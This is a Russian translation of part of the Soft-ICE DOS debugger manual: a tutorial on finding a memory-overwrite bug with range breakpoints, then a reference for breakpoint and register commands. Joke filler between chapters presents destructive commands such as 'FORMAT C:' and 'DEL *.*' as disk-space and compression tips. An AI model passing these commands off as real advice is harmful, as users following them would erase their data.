 mov char,al
 ret
 get_key endp
 
 ; Проверка, является ли символ пробелом (одна из подпрограмм Jake'а)
 
 is_space? proc
 cmp char,20H
 jne not_space
 mov answer,1
 ret
 not_space:
 mov cs:answer,0
 ret
 is_space? endp
 
 CODE Ends
 End start
 

Jed использовал DEBUG, но не был способен решить проблему с его помощью. По рекомендации его племянника Jethro, Jed купил Soft-ICE. Он немного сомневался в необходимости этого, потому что он уже пытался использовать отладчик аппаратного уровня, но так и не смог заставить его правильно работать. Он хотел попробовать Soft-ICE, потому что он мог бы продолжать использовать DEBUG - единственный отладчик, с которым он действительно умеет работать.

Нажмите CTRL C, чтобы выйти из программы. Введите следующие команды:


 DEBUG диск:\путь\SAMPLE.EXE
 U
 R
 

За часы, которые Jed потратил, пытаясь найти эту неуловимую ошибку, он понял, что что-то непонятным образом записывается поверх его кода. Jed решает при помощи Soft-ICE установить точку останова на диапазон его сегмента кода.




Руководство по Soft-ICE (DOS) - 5

Если бы автомобилестроение развивалось такими же темпами, как компьютерная индустрия, Роллс-Ройс стоил бы 5 долларов, ездил 1000 миль на галлон бензина и раз в год взрывался с четырьмя пассажирами.

Нажмите: ALT D

Окно Soft-ICE вернулось. Переместите окно (с использованием CTRL и клавиш стрелок), пока не будет виден экран регистров DEBUG. Настало время установить нашу первую точку останова.

Введите:


 BPR сег. кода:0 сег. кода:25 W
 

Сег. кода - значение в регистре CS, показываемое при помощи команды R в DEBUG.

Команда BPR устанавливает точку останова на диапазон памяти. Длина сегмента кода Jed'а - 25H байт, так что указанный диапазон памяти продолжается от начала его кода до конца. W сообщает Soft-ICE останавливаться при записи в этот диапазон. Мы хотим перехватить любую неожиданную запись в код Jed'а.

Введите:


 BL
 

Команда BL покажет все точки останова. Вывод после команды BL выглядит следующим образом:


 0) BPR сег. кода:0000 сег. кода:0025 W C = 01
 

0 - идентификатор этой точки останова. Диапазон и W показаны, так как были введены, а счетчик (так как он не был определен) по умолчанию равен 1.

Теперь настал момент истины. Нажмите ALT D.

Окно снова исчезает. Чтобы запустить SAMPLE из DEBUG, введите:


 G
 

Нажмите "пробел". Пока все Ok. Теперь нажмите непробельную клавишу.

Наша точка останова только что пробудила DEBUG. Выведены регистры и одна дизассемблированная инструкция.

Введите:


 U cs:адрес
 

Адрес - значение регистра IP минус 10 (шестнадцатеричное). Так как DEBUG довольно примитивен, значение регистра IP минус 10 должно быть рассчитано вручную. Указатель инструкции указывает на инструкцию, следующую за той, которая активизировала точку останова. Возвратом на десять (шестнадцатеричных) байт мы синхронизируем DEBUG с нужной нам инструкцией.

Инструкция по смещению 3BH:


 CS:
 MOV BYTE PTR [13],0
 

Jed говорит, "Вот оно! Я так и знал, что проблема была во вспомогательных подпрограммах Jake'а! Инструкция выходящая за его сегмент кода записывает нулевой байт прямо в мой код! Кто мог об этом знать!"

Введите:


 U 0
 

Местоположение 13H должно являться смещением инструкции условного перехода. Относительное смещение условного перехода устанавливается в ноль. Если вы являетесь гуру в 8086, вы, очевидно, знаете, что JE НИКОГДА не сработает, если относительное смещение - ноль. Какая тонкая ОШИБКА!

Теперь давайте разберемся, как эта проблема была бы решена при использовании Soft-ICE как автономного отладчика. Но сначала мы должны выйти из DEBUG.

Перед выходом из отладчика будет неплохо дезактивировать все точки останова, если ACTION не установлена на HERE. Если вы это не сделаете, то когда выполнится останов и ACTION попробует вернуться к отладчику, который не загружен, результаты будут непредсказуемы. Мы изменили ACTION на INT3, следовательно, мы должны отменить точку останова.

Для вызова окна введите:


 ALT D
 

Просмотрите список точек останова, введя:


 BL
 

Обратите внимание, что строка описания точки останова выделена. Выделенная точка останова - последняя выполненная точки останова.

Заметьте, что номер точки останова - 0. Для дезактивации точки останова с номером ноль, введите:


 BD 0
 

Снова просмотрите список точек останова, введя:


 BL
 

Звездочка (*) после номера точки останова покажет, что точка останова неактивна.

Чтобы удалить точку останова, введите:


 BC 0
 

Снова введите BL.

Обратите внимание, что не выведено ни одной строки с точками останова.

Выйдите из Soft-ICE, а потом из отладчика, введя:


 X
 Q
 

Следующий раздел обучающей части демонстрирует, как Soft-ICE может использоваться для решения той же самой проблемы как автономный отладчик. Soft-ICE будет использоваться как отладчик на уровне исходного текста.

Для подготовки Soft-ICE производить отладку на уровне исходного текста, он должен быть установлен в вашем файле CONFIG.SYS и часть расширенной памяти должна быть занята для символов и файлов с исходными текстами. Soft-ICE может использоваться как отладчик на уровне исходного текста, только если в вашей системе есть расширенная память. Если у вас нет

расширенной памяти вы все равно можете прочитать остаток обучающей части, чтобы увидеть возможности Soft-ICE с расширенной памятью. Если вы не загрузили S-ICE.EXE в ваш файл CONFIG.SYS с памятью, зарезервированной для символов, сделайте это сейчас.

Для отладки программы-примера Soft-ICE как автономным отладчиком мы должны использовать загрузчик программ Soft-ICE (LDR.EXE). Чтобы загрузить пример программы (SAMPLE.EXE), файл символов (SAMPLE.SYM) и файл с исходным текстом (SAMPLE.ASM), введите:


 LDR SAMPLE
 

Теперь вы - в Soft-ICE с SAMPLE.EXE, загруженным в память. Заметьте что Soft-ICE занимает весь экран. Soft-ICE переключается в полноэкранный режим всякий раз, когда загружается программа. Исходный текст из SAMPLE.ASM должен быть виден в окне кода. Кроме того, видимы окно регистров и окно данных.

Выполните одну инструкцию, нажав F10.

Обратите внимание, что видео курсор перемещается на следующую инструкцию, которая будет выполнена на следующем шаге программы.

Нажмите F6.

Это переместит курсор в окно кода. Теперь поэкспериментируйте с клавишами , , PageUp и PageDn, для перемещения курсора и прокрутки исходного файла. Переместите курсор до 42 строки с клавишей .

Нажмите F9.

Мы только что установили точку останова при выполнении на строку 42. Строка должна выделиться, показывая, что точка останова установлена.

Введите:


 BL
 

Это покажет точку останова, которую мы только что установили. Теперь нажмите ALT D.

Произойдет выход из Soft-ICE, выполнение программы-примера, пока не произойдет останов в строке 42. Soft-ICE должен немедленно восстановиться, с выделенным видео курсором на строке 42.

Снова нажмите F6.

Это вернет курсор в командное окно. Теперь введите:


 BC *
 

Это уничтожит все точки останова (хотя должна быть установлена только одна). Теперь выйдете из Soft-ICE, нажав ALT D.

Вы вернулись к программе-примеру. Нажмите несколько клавиш, чтобы удостовериться, что она все еще не работает. Теперь вызовите Soft-ICE при помощи ALT D.

Так как ошибка уже произошла, мы хотим повторно начать программу. Введите:


 EXIT RD
 

Эта команда принудительно завершает программу-пример. R сообщает Soft-ICE о необходимости восстановить векторы прерываний в состояние, в котором они были когда была загружена LDR'ом программа-пример. D сообщает Soft-ICE о необходимости удалять все активные точки останова. R и D необязательны в этом случае, но неплохо будет выработать привычку к их указанию при выходе из программы, загруженной LDR.EXE.

Теперь вы вернулись к командной строке DOS. Загрузите программу, снова введя:


 LDR SAMPLE.EXE
 

Заметьте, что сейчас было введено расширение .EXE. Когда указано расширение, Soft-ICE не пытается загружать файл символов или файл с исходным текстом. В нашем случае файлы символов и исходного текста уже - в памяти.

Введите:


 SYM
 

Будут выведены все публичные символы программы-примера. Нажмите Esc, чтобы вернуться к командной строке.

Теперь установим точку останова на диапазон, такую же, как мы устанавливали когда использовали Soft-ICE как дополнение к отладчику. На этот раз мы будем использовать символы, чтобы установить точку останова. Введите:


 BPR START .82 W
 

Это установит точку останова на диапазон на наш сегмент кода от символа START до 82 строки исходного файла.

Введите:


 BL
 

Вы можете проверить, что точка останова установлена должным образом.

Нажмите ALT D.

Нажмите непробельную клавишу.

Мы вернулись в Soft-ICE. Заметьте что текущая инструкция (строка с инвертированным видео курсором) - инструкция, идущая после той, что вызвала останов.

Чтобы увидеть фактический код нажмите клавишу F3.

Это переводит Soft-ICE в смешанный режим. Заметьте, что видео курсор покрывает 2 строки. Это - фактическая строка кода и строка кода из исходного файла с текущей инструкцией.

Еще раз нажмите клавишу F3.

Сейчас мы - в режиме кода. Никакие исходные строки не видны. Инструкция, находящаяся выше инвертированного видео курсора - инструкция, вызвавшая останов на диапазон.

Нажмите клавишу F3 еще раз, чтобы вернуться к режиму исходного текста.

Теперь исправим ошибку в программе-примере. Выйдите из программы и вернитесь в командную строку DOS, введя:


 EXIT RD
 

Загрузите программу снова, введя:


 LDR SAMPLE.EXE
 

Установите окно кода в режим кода, дважды нажав клавишу F3. дизассемблируйте неправильную подпрограмму, введя:


 U not_space
 




Руководство по Soft-ICE (DOS) - 6

- OS/2 это что? Половина операционной системы?

Сейчас мы используем интерактивный ассемблер Soft-ICE, чтобы решить проблему.

Введите:


 A not_space
 

Soft-ICE выдаст в своей командной строке адрес.

Введите:


 NOP
 

Нажмите ВВОД для выхода из ассемблера.

Обратите внимание, что в окне кода появилась инструкция NOP вместо перекрытия CS по смещению 003BH.

Нажмите клавишу F3, чтобы вернуться к режиму исходного текста, (исходный код, конечно, не изменился). Нажмите ALT D, чтобы запустить исправленную программу-пример.

Нажмите: Пробел и несколько непробельных клавиш

Работает! Вы исправили ошибку! Для выхода из программы Jed'а и возврата в DOS, введите:


 CTRL C
 

Теперь мы продемонстрируем другую особенность Soft-ICE. Введите:


 LDR SAMPLE.EXE
 

Это загрузит программу-пример еще раз. Введите:


 RIP HANG_EXAMPLE
 

Первые две показанных инструкции:


 CLI
 JMP $
 

Обратите внимание, что инструкция перехода указывает сама на себя. Этот бесконечный цикл обычно необратимо завешивает систему. Введите:


 BREAK ON
 

Мы только что включили режим BREAK. Режим BREAK заставит систему работать немного медленней, но позволит Soft-ICE активизироваться даже когда система в нормальных условиях считается зависшей.

Выйдите из Soft-ICE, нажав ALT D. Ваша система теперь зависла. Для неверующих, нажмите: CTRL ALT DEL

Ничего не случилось! Она определенно зависла. Теперь нажмите ALT D.

Окно Soft-ICE - вернулось! Чтобы выйти из бесконечного цикла, введите:


 EXIT RD
 

Сейчас вы вернулись в DOS. Попробуйте произвести какие-нибудь действия, чтобы почувствовать снижение производительности. Много людей считают удобным оставлять BREAK ON как конфигурацию по умолчанию.

Отключите режим BREAK, введя:


 ALT D
 BREAK OFF
 ALT D
 

Сделайте что-нибудь, чтобы сравнить скорость. Вот и все! Веселитесь! Настало время начать экспериментировать и отлаживать ваши собственные программы. Просмотрите оставшуюся часть руководства и при необходимости обратитесь к специфическим разделам.

РАЗДЕЛ II -- Команды

Раздел II содержит списки синтаксиса для каждой команды Soft-ICE и объяснения и примеры для каждой команды. Все числа находятся в шестнадцатеричном формате; любое число может быть выражением с использованием +,-,/,* или регистров. Все команды нечувствительны к регистру букв. Слова, выделенные курсивом в выражениях синтаксиса команд должны быть заменены фактическими значениями, вместо их ввода курсивом.

В этой части везде используются следующие письменные условные обозначения:

[] -- Скобками выделяется необязательный пункт синтаксиса.
< > -- Угловыми скобками выделяется список пунктов или вариантов.
x | y -- Вертикальной чертой разделяются альтернативы.

Используйте или пункт x или пункт y.

count -- Счетчик - байтовое значение, которое определяет количество случаев возникновения условий останова, которое должен быть пропущено перед фактической точкой останова. Если счетчик не определен, принимается значение по умолчанию 1. Каждый раз как вызывается окно Soft-ICE'а, значения счетчика переустанавливаются на первоначально указанные значения.

verb -- Опция - значение, определяющее на какой тип доступа будет настроена точка останова. Он может быть установлен на "R" для чтения, "W" для записи, "RW" для чтения и записи или "X" для выполнения.

address -- Адрес - значение, состоящее из двух 16-битных слов, разделенных двоеточием. Первое слово - адрес сегмента, второе слово - смещение сегмента. Адреса могут состоять из выражений с регистрами и символов. Адрес может также содержать специальные символы "$", "." и "@". См. часть 3.8 (Синтаксис Команд) для описания этих специальных символов.

break-number -- Номер останова - идентификационный номер, который определяет точку останова, используемый при управлении точками останова (Например, их редактирование, удаление, активация или дезактивация). Номером останова может быть шестнадцатеричная цифра от 0 до F.

list -- Список - ряд номеров останова, разделенных запятыми или пробелами. mask -- Маска - битовая маска, представленная: комбинацией единиц, нулей и X'ов. X'ы - любые биты.

Пример:


 BPIO 21 W EQ M 1XXX XXXX
 

Эта команда вызовет останов, который произойдет, если в порт 21H будет произведена запись набора битов в вышеуказанном порядке.

GT, LT -- GT и LT - определители команды беззнакового сравнения значений.

ГЛАВА 4

Использование Команд Работы с Точками Останова

4.1 Введение 4.2 Установка Точек Останова 4.3 Управление Точками Останова

4.1 Введение

У Soft-ICE есть возможности работы с точками останова, обычно доступные только в аппаратных отладчиках. Мощность и гибкость процессора 80386 дают широкие возможности работы с точками останова без дополнительной аппаратуры.

Точки останова можно устанавливать на запись и чтение в ячейку памяти, запись и чтение в диапазон (область) памяти, выполнение программы и доступ к портам. Soft-ICE назначает одну шестнадцатеричную цифру (0-F) каждой точке останова. Этот номер останова используется для обозначения точек останова, когда вы их устанавливаете, удаляете, отменяете, восстанавливаете или редактируете.

Все точки останова Soft-ICE - "прилипающие". Это означает, что они не исчезают автоматически после того, как они использовались; вы должны намеренно удалить или отменить их, используя команды BC или BD. Soft-ICE может поддерживать 16 точек останова одновременно. Вы можете устанавливать до десяти точек останова отдельного типа, кроме точек останова на ячейку памяти (BPM'ов), которых может быть только четыре, из-за ограничений процессора 80386.

Для точек останова может быть определен параметр - счетчик. Параметр - счетчик сообщает Soft-ICE, сколько раз точка останова должна игнорироваться перед произведением останова.

4.2 Установка Точек Останова

Команды:

BPM, BPMB, BPMW, BPMD -- Устанавливают точку останова на доступ к памяти или выполнение
BPR -- Устанавливает точку останова на диапазон памяти
BPIO -- Устанавливает точку останова на доступ к порту ввода/вывода
BPINT -- Устанавливает точку останова на прерывание
BPX -- Устанавливает/отменяет точку останова на выполнение
CSIP -- Устанавливает точку останова на CS:IP
BPAND -- Ожидает срабатывания многих точек останова

BPM, BPMB, BPMW, BPMD

BPM, BPMB, BPMW, BPMD -- Точка останова на доступ к памяти или выполнение

Синтаксис:


 BPM[размер]адрес[опция][значение определителя][C=счетчик]
 

размер -- B, W, D
B -- Байт
W -- Слово
D -- Двойное Слово
Размер - диапазон, охватываемый этой точкой останова. Например, если используется двойное слово и третий байт двойного слова изменен, то произойдет останов. Размер также важен, если указан необязательный определитель (см. ниже). опция -- R, W, RW или X определитель -- EQ, NE, GT, LT, M
EQ -- Равно
NE -- Не Равно
GT -- Больше
LT -- Меньше
M -- Маска

Эти определители применимы только к точкам останова на чтение и запись.

значение -- Значение размером байт, слово или двойное слово, в зависимости от указанного размера.

Комментарии:

Команды BPM позволяют вам устанавливать точку останова на чтение или запись в память или на выполнение.

Если опция не указана, по умолчанию принимается RW.

Если размер не определен, по умолчанию принимается байт.

Все типы опций, кроме X, вызывают выполнение программой инструкции, которая вызвала останов. Текущий CS:IP будет указывать на следующую за точкой останова инструкцию. Если тип опции - X, текущий CS:IP будет указывать на инструкцию, на которую устанавливали точку останова.

Если указан R, то останов будет происходить при доступе на чтение и на операции записи, не изменяющие значение ячейки памяти.

Если тип опции - R, W или RW, выполнение инструкции по указанному адресу не будет вызывать останова.

Замечание:

Если используется BPMW, указанный адрес должен начинаться на границе слова.
Если используется BPMD, адрес должен указывать на границу двойного слова.

Пример:


 BPM 1234:SI W EQ 10 C=3
 

Эта команда определяет точку останова на доступ к байту памяти. Останов произойдет, когда шестнадцатеричное число 10 будет записано третий раз в ячейку 1234:SI.


 BPM CS:1235 X
 

Эта команда определяет точку останова на выполнение. Останов произойдет, когда в первый раз будет достигнута инструкция по адресу CS:1235. Текущий CS:IP будет указывать на инструкцию, на которую устанавливали точку останова.


 BPMW DS:F00 W EQ M 0XXX XXXX XXXX XXX1
 

Эта команда определяет точку останова на запись слова в память. Останов произойдет, когда первый раз в ячейку DS:F00 произойдет запись значения, устанавливающая старший бит в 0 и младший бит в 1. Другие биты могут принимать любое значение.




Руководство по Soft-ICE (DOS) - 7

- Может ли человек умереть от компьютерного вируса?
- Смотря чей компьютер он им заразит.


 BPM DS:1000 W GT 5
 

Эта команда определяет точку останова на запись байта в память. Останов произойдет когда первый раз в ячейку DS:1000 произойдет запись значения, большего чем 5.


 BPR
 

BPR -- Устанавливает точку останова на диапазон памяти

Синтаксис:


 BPR адрес-начала адрес-конца [опция] [C=счетчик]
 

адрес-начала, адрес-конца -- адрес начала и адрес конца определяют диапазон памяти. опция - R, W, RW, T или TW

Комментарии:

Команда BPR позволяет устанавливать точку останова на диапазон памяти.

Все типы опций, кроме T или TW, заставляют программу выполнять инструкцию, вызвавшую останов. Текущий CS:IP будет указывать на следующую за точкой останова инструкцию.

Это - не точка останова на выполнение. Если нужно, чтобы происходил останов при выполнении в диапазоне, должен использоваться R. Для точек останова на диапазон выполнение инструкции рассматривается как чтение.

Если опция не определена, по умолчанию принимается W.

Точка останова на диапазон будет, в известных обстоятельствах, снижать производительность системы. Любое чтение или запись в пределах 4КБ страницы, которая содержит диапазон точки останова, анализируется Soft-ICE. Это снижение производительности обычно незаметно, но оно может быть очень большим в исключительных случаях.

Опции T и TW дают возможность обратной прогонки в указанном диапазоне. Они не вызывают останова, но вместо этого сохраняют информацию об инструкциях, которая может быть выведена позже командами TRACE или SHOW. Для получения большей информации об обратной трассировке, см. главу 9.

Пример:


 BPR B000:0 B000:1000 W
 

Эта команда определяет точку останова на диапазон памяти. Останов произойдет, если произойдет любая запись в область видеопамяти монохромного адаптера.


 BPIO
 

BPIO -- Устанавливает точку останова на доступ к порту ввода/вывода

Синтаксис:


 BPIO порт [опция] [значение определителя] [C=счетчик]
 

порт -- Значение длиной в байт или слово
опция -- R, W или RW
R -- Чтение (IN)
W -- Запись (OUT)
определитель -- EQ, NE, GT, LT, M
EQ -- Равно
NE -- Не Равно
GT -- Больше
LT -- Меньше
M -- Маска
значение -- Значение длиной в байт или слово

Комментарии:

Команда BPIO позволяет устанавливать точку останова на чтение или запись в порт ввода/вывода.

Если указано значение, оно сравнивается с фактически считываемыми или записываемыми данными, вызвавшей останов, инструкцией IN или OUT. Значение может быть байтом или словом. Если ввод/вывод происходит в байтовый порт, при сравнении используются младшие 8 битов.

Указатель инструкции (CS:IP) будет указывать на следующую инструкцию за вызвавшей останов инструкцией IN или OUT.

Если опция не определена, по умолчанию принимается RW.

Пример:


 BPIO 21 W NE FF
 

Эта команда определяет точку останова на доступ к порту ввода/вывода. Останов произойдет, если в регистр маски первого контроллера прерываний будет записано значение, отличное от FFH.


 BPIO 3FE R EQ M 11XX XXXX
 

Эта команда определяет байтовую точку останова на чтение из порта ввода/вывода. Останов произойдет при первом считывании из порта ввода/вывода 3FE значения, у которого два старших бита установлены в 1. Другие биты могут принимать любые значения.


 BPINT
 

BPINT -- Устанавливает точку останова на прерывание

Синтаксис:


 BPINT номер-прерывания [< AL | AH | AX >= значение] [C = счетчик]
 

номер-прерывания -- Номер прерывания из 0 - FF hex
значение -- Значение длиной в байт или слово

Комментарии:

Команда BPINT позволяет производить останов при выполнении аппаратного или программного прерывания. Указывая как необязательный параметр значение регистра AX, можно легко выделить определенные вызовы DOS или BIOS.

Если значение не определено, останов произойдет при выполнении прерывания, определенного номером-прерывания. Это прерывание может быть аппаратным, программным или внутренним прерыванием.

При выполнении прерывания необязательное значение сравнивается с указанным регистром (AH, AL или AX). Если значение соответствует указанному регистру, происходит останов.

Когда происходит останов, если прерывание было аппаратным, указатель инструк- ции (CS:IP) будет указывать на первую инструкцию в процедуре обработки преры- вания. Чтобы узнать, где происходило выполнение программы, когда произошло прерывание, может использоваться команда INT?. Если прерывание было программным, то при останове указатель инструкции (CS:IP) будет указывать на инструкцию INT, вызвавшую останов.

Пример:


 BPINT 21 AH=4C
 

Эта команда определяет точку останова на прерывание 21H. Останов произойдет, когда будет вызвана функция DOS 4CH (завершить программу).


 BPX
 

BPX -- Устанавливает/удаляет точку останова на выполнение

Синтаксис:


 BPX [адрес] [C=счетчик]
 

Комментарии:

Команда BPX позволяет устанавливать или удалять точку останова типа point-and- shoot на выполнение в исходном тексте. Когда курсор находится в окне кода, адрес не требуется. Точка останова на выполнение устанавливается по адресу текущего положения курсора. Если точка останова на выполнение уже была установлена по адресу текущего положения курсора, то она будет удалена.

Если окно кода не видимо или курсор - не в окне кода, то должен быть определен адрес. Если определено только смещение, то в качестве сегмента используется текущее значение регистра CS.

Техническое Примечание: BPX использует для точек останова стиль прерывания 3, если указанный адрес не принадлежит ROM. Это используется вместо регистра точек останова, чтобы предоставить больше точек останова на выполнение. Если в ваших обстоятельствах по некоторым причинам требуется использование регистра точек останова (например, код не загружен) вы можете установить точку останова командой BPM.

Пример:


 BPX.1234
 

Устанавливает точку останова на выполнение в строку 1234 исходного текста.


 CSIP
 

CSIP -- Устанавливает определитель диапазона CS:IP

Синтаксис:


 CSIP [OFF | [NOT] адрес-начала адрес-конца]
 

NOT -- Когда указан NOT, останов произойдет только если указатель CS:IP выйдет из указанного диапазона.
OFF -- Отменяет проверку CS:IP

Комментарии:

Команда CSIP вызывает останов, зависящий от положения указателя инструкций, когда будут выполнены условия точки останова. Эта функция часто полезна, когда программа подозревается в случайном изменении кода вне своих границ.

Когда выполнены условия точки останова, регистры CS:IP сравниваются с указанным диапазоном. Если они - в пределах диапазона, точка останова активизируется. Для активизации останова, когда CS:IP - вне диапазона, используйте параметр NOT.

Когда определен диапазон CSIP, он применяется ко ВСЕМ точкам останова, которые активны в настоящее время.

Если параметры не определены, выводится текущий диапазон CSIP.

Пример:


 CSIP NOT F000:0 FFFF: 0
 

Эта команда вызывает останов, который произойдет только если CS:IP НЕ указывают в область ROM BIOS когда выполнены условия точки останова.


 BPAND
 

BPAND -- Ожидает срабатывания многих точек останова

Синтаксис:


 BPAND список | * | OFF
 

список -- Ряд номеров-останова, разделенных запятыми или пробелами
* -- Складывает по AND'у все точки останова

Комментарии:

Команда BPAND производит логическую операцию AND над двумя и более точками останова, вызывая останов только, когда выполнены условия для всех точек останова.

Иногда условия останова возникают, когда он вам не нужен, пока не будут выполнены несколько различных условий. Команда BPAND позволяет определять две или более точек останова, которые должны произойти перед производимым действием. Эта функция позволяет устанавливать точки останова по более сложным условиям.

Каждый раз, когда используется команда BPAND, указанные номера точек останова добавляются к списку, пока не будет использована BPAND OFF.

Вы можете увидеть какие из номеров-останова объединены по AND'у, просматривая список точек останова командой BL. Номера точек останова, объединенных по AND'у, будут заканчиваться амперсантом (&).

Один раз объединенные по AND'у, точки останова остаются объединенными, пока не будут удалены или пока BPAND не будет отключен.

Пример:


 BPAND 0,2,3
 

Эта команда логически связывает условия точек останова 0, 2 и 3 между собой. Останов происходит, только когда выполнены условия всех трех. Например, если, по крайней мере, однажды выполнены условия точек останова 2 и 3, но условия точки останова 0 пока не выполнены вообще, то действие не произойдет, пока не будут выполнены условия точки останова 0.




Руководство по Soft-ICE (DOS) - 8

А знаете ли Вы что...
- 257 поворотов колёсика мыши означают быстрый выход из Windows.
- Команда "FORMAT C:" освобождает много места на вашем жёстком диске.
- Выключить компьютер можно и в удалённом доступе запустив в него что-нибудь тяжёлое.
- Фирма Micosoft торгует вкусными пончиками (New-York, 15-Avenue, спросить Васю).
- По результатам тестирования налучший метод сжатия файлов даёт команда "DEL *.*" обеспечивая 100% сжатие.
- Чтобы русифицировать многие современные программы достаточно набрать в командной строке фразу "Yankee Go Home!' и нажать клавишу .

4.3 Управление Точками Останова

Soft-ICE предоставляет несколько команд для управления точками останова. Команды управления разрешают просматривать список, изменять, удалять, активизировать и деактивировать точки останова. Точки останова идентифициру- ются номерами-останова, которые являются шестнадцатеричный цифрами от 0 до F. Вот команды управления точками останова:

BD -- Деактивирует точки останова
BE -- Активизирует точки останова
BL -- Выдает список точек останова
BPE -- Редактирует точку останова
BPT -- Использует точку останова как шаблон
BC -- Удаляет точки останова

BD

BD - Деактивирует точки останова

Синтаксис:


 BD список | *
 

список -- Ряд номеров-останова, разделенных запятыми или пробелами
* -- Деактивирует все точки останова

Комментарии:

Команда BD используется для временной деактивации точек останова. Они могут вновь активизироваться командой BE (Активизировать точки останова).

Вы можете увидеть, какие из номеров-останова деактивированы, просматривая список точек останова командой BL. Точки останова, которые деактивированы, будут выделены звездочкой (*) после их номера-останова.

Пример:


 BD 1,3
 

Эта команда временно деактивирует точки останова 1 и 3.

BE -- Активизирует точки останова

Синтаксис:


 BE список | *
 

список -- Ряд номеров-останова, разделенных запятыми или пробелами
* -- Активизирует все точки останова

Комментарии:

Команда BE используется для повторной активизации точек останова, которые были деактивированы командой BD (Деактивировать точки останова).

Заметьте, что точка останова автоматически активизируется при ее определении.

Пример:


 BE 3
 

Эта команда активизирует точку останова 3.

BL

BL -- Выдает список точек останова

Синтаксис:


 BL
 

Комментарии:

Команда BL показывает все точки останова, установленные в настоящее время. Для каждой точки останова BL выдает номер останова, условия точки останова, состояние точки останова и счетчик.

Состояние точки останова - либо активизирована либо деактивирована. Если точка останова деактивирована, после номера-останова выводится звездочка (*). Если активная точка останова используется в команде BPAND, после номера-оста- нова выводится символ (&). Самый последний вызвавший действие останов выделяется подсветкой.

У команды BL нет параметров.

Пример:


 BL
 

Эта команда показывает все точки останова, которые были определены. Вот пример экрана, который показывает четыре точки останова:

0) BPMB 1234:0000 W EQ 0010 C=03
1)*BPR B000:0000 B000:1000 W C=01
2) BPIO 0021 W NE 00FF C=01
3) BPINT 21 AH=4C C=01

Заметьте, что в этом примере, точке останова 1 предшествует звездочка (*), показывающая, что она была деактивирована.

BPE

BPE -- Редактирует точку останова

Синтаксис:


 BPE номер-останова
 

Комментарии:

Команда BPE загружает описание точки останова в строку редактирования для модификации. Тогда команда может быть отредактирована с использованием клавиш редактирования и повторно введена нажатием ВВОДа. Эта команда предоставляет быстрый способ изменения параметров существующей точки останова.

Пример:


 BPE 1
 

Эта команда перемещает описание точки останова 1 в строку редактирования и удаляет точку останова 1. Нажатие клавиши ВВОД вызовет повторный ввод точки останова.

BPT

BPT -- Использует точку останова как шаблон

Синтаксис:


 BT номер-останова
 

Комментарии:

Команда BPT использует описание существующей точки останова как шаблон для новой точки останова.

Описание существующей точки останова загружается в строку редактирования. Точка останова, определяемая номером-останова, не изменяется. Эта команда предлагает быстрый путь создания новой точки останова, похожей на существующую точку останова.

Пример:


 BPT 3
 

Эта команда помещает шаблон точки останова 3 в строку редактирования. При нажатии клавиши ВВОД добавляется новая точка останова.

BC

BC -- Удаляет точки останова

Синтаксис:


 BC список | *
 

список -- Ряд номеров-останова, разделенных запятыми или пробелами
* -- Удаляет все точки останова

Комментарии:

Команда BC используется, чтобы навсегда удалить одну или более точек останова.

Пример:


 BC *
 

Эта команда удаляет все точки останова.

ГЛАВА 5

Использование Других Команд

5.1 Команды Вывода и Редактирования
5.2 Команды Портов ввода/вывода
5.3 Команды Передачи Управления
5.4 Команды Режима Отладки
5.5 Сервисные Команды
5.6 Специализированные Отладочные Команды
5.7 Команды работы с Окнами
5.8 Команды Настройки Отладчика
5.9 Команды Управления Экраном
5.10 Команды Работы с Символами и Строками Исходного Текста

5.1 Команды Вывода и Редактирования

Команды:

U -- Дизассемблировать инструкции или показать исходный текст
R -- Показать или изменить регистры
MAP -- Показать карту памяти системы
D -- Показать память в самом последнем указанном формате
DB -- Показать память в формате байта
DW -- Показать память в формате слова
DD -- Показать память в формате двойного слова
E -- Редактировать память в самом последнем
указанном формате
EB -- Редактировать байты памяти
EW -- Редактировать слова памяти
ED -- Редактировать двойные слова памяти
INT? -- Показать последний номер прерывания
? Или H -- Показать информацию помощи
VER -- Показать номер версии Soft-ICE

U

U -- Дизассемблирует инструкции или показывает исходный текст

Синтаксис:


 U [адрес] [L[=]длина]
 

длина -- Число инструкций
для дизассемблера

Комментарии:

Команда U показывает инструкции отлаживаемой программы.

Если длина не определена, по умолчанию принимается восемь строк, если это возможно, или на одну строку меньше высоты экрана.

Если адрес не определен, команда дизассемблирует инструкции с адреса первого байта за последним байтом, дизассемблированным предыдущей командой. Если предыдущей команды дизассемблировать не было, за адрес по умолчанию принимается текущий CS:IP.

Если видимо окно кода, инструкции выводятся в окне кода.

Если для диапазона указанного адреса загружен исходный текст, в зависимости от текущего режима работы с кодом, могут быть выведены исходные строки.

Пример:


 U $-10
 

Эта команда дизассемблирует инструкции, начиная за 10 (шестнадцатеричное) байтов до текущего адреса.


 U .499
 

Эта команда выводит текущий файл с исходным текстом, начиная со строки 499. Окно кода должно быть видимо и находиться в режиме исходного текста.

R

R -- Показать или изменить регистры

Синтаксис:




Руководство по Soft-ICE (DOS) - 9

Лаборатория Касперского выпустила совет по поводу 11 сентября: "В связи с возможными терактами в первую годовщину атаки на WTC 11 сентября рекомендуем вам в этот день не просыпаться или 10 сентября перевести свои часы на 12-е."


 R название-регистра [ [ = ]значение] ]
 

название-регистра -- Любое из следующих: AL, AH, AX, BL, BH, BX, CL, CH, CX, DL, DH, DX, DI, SI, BP, SP, IP, CS, DS, ES, SS Или FL
значение -- Если название-регистра - любое, кроме FL, значение - шестнадцатеричное значение или выражение. Если название регистра - FL, то значение - серия из одного или более следующие символов флагов, каждый с предшествующим ему знаком плюс или минус :

O (флаг Переполнения) (Overflow)
D (флаг Направления) (Direction)
I (флаг Прерывания) (Interrupt)
S (флаг Знака) (Sign)
Z (флаг Нуля) (Zero)
A (флаг Вспомогательного переноса) (Auxiliary carry)
P (флаг Паритета) (Parity)
C (флаг Переноса) (Carry)

Комментарии:

Команда R показывает или изменяет регистры

Без параметров выводит значения всех регистров и флагов, а также инструкцию по адресу текущего CS:IP.

Если название регистра указано без значения, Soft-ICE показывает текущие значения указанного регистра и спрашивает у вас новое значение. Если название регистра - FL, установленные флаги выводятся подсвеченными символами верхнего регистра; сброшенные флаги выводятся без подсветки в нижнем регистре. Для сохранения текущего значения регистра, нажмите ВВОД.

Если указаны и название регистра, и значение, содержимое указанного регистра заменяется указанным значением.

Чтобы изменить значение флага, используйте FL как имя регистра, сопровождаемое символами флагов, значения которых вы хотите переключить. Для установки флага поставьте перед символом флага знак плюс. Чтобы сбросить флаг, поставьте перед символом флага знак минус. Флаги могут быть указаны в любом порядке.

Примеры:


 R AH 5
 

Эта команда устанавливает регистр AH равным 5.


 R FL = OZP
 

Эта команда переключает значения флагов O, Z и P.


 R FL
 

